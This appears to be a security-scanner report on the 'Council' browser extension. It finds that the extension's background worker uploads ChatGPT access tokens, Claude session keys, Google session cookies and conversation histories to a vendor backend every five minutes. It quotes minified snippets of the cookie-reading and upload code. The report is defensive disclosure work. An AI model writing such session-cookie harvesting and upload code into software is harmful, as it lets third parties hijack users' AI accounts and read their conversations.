Is Council safe?
Council reads your ChatGPT, Claude and Gemini session cookies and sends them to its backend every 5 minutes.
When you have a Council token, the extension's background worker reads session cookies and tokens for ChatGPT, Claude and Gemini and uploads them to the Council server, which lets the vendor reuse those sessions server-side. It also fetches your full ChatGPT and Gemini conversation histories, including messages and images, and posts them to the same backend.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Council uploads ChatGPT, Claude and Gemini session tokens every 5 minutes
Code analysis shows the extension reads your ChatGPT, Claude and Gemini session cookies and uploads them to council-app-production.up.railway.app every 5 minutes once a Council token is set.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
Every 5 minutes, while a Council token is configured, the background worker starts a sync.
A startup check also triggers one sync after 3 seconds.
It reads your ChatGPT, Claude and Gemini session cookies and uploads them to the Council backend.
- ChatGPT access tokenPUT /api/sync/connections/chatgpt {sessionToken: accessToken}
Bearer token fetched with your chatgpt.com cookies; grants access to your ChatGPT account.
- Claude sessionKeyPUT /api/sync/connections/claude {sessionToken: sessionKey value}
The raw claude.ai session cookie value.
- Google session cookiesPUT /api/sync/connections/gemini {sessionToken: JSON cookies + pageTokens}
SID, HSID, __Secure-1PSID and related cookies plus Gemini page tokens, as one JSON string.
Claude session cookie read and upload
Alarm wiring and sync entry point
assets/index.ts-BmTJzAkx.jsasync function ie() { if (!await Z()) { return } await Promise.allSettled([In(), Fn(), Dn(), xn(), $n(), Nn()]), await Mn()}const he = "council-periodic-sync", je = 5;chrome.alarms.create(he, { periodInMinutes: je });chrome.alarms.onAlarm.addListener(t => { (t.name === he || t.name === "council-catchup-sync") && ie().catch(e => console.error("[Council] Sync failed:", e))});ChatGPT token derived from cookies and uploaded
Gemini cookie bundle upload
assets/index.ts-BmTJzAkx.jst = await chrome.cookies.getAll({ domain: ".google.com" }),e = await chrome.cookies.getAll({ url: "https://gemini.google.com" })// ...filtered to SID/HSID/__Secure-1PSID etc., then// PUT /api/sync/connections/gemini { sessionToken: JSON.stringify({ cookies: l, pageTokens: {...} }) }- council-app-production.up.railway.app
Vendor backend on Railway; receives provider session tokens via authenticated PUT (Bearer council_token).
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Council contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- council-app-production.up.railway.app
Council sends data to council-app-production.up.railway.app. No other extension we have analysed sends data here.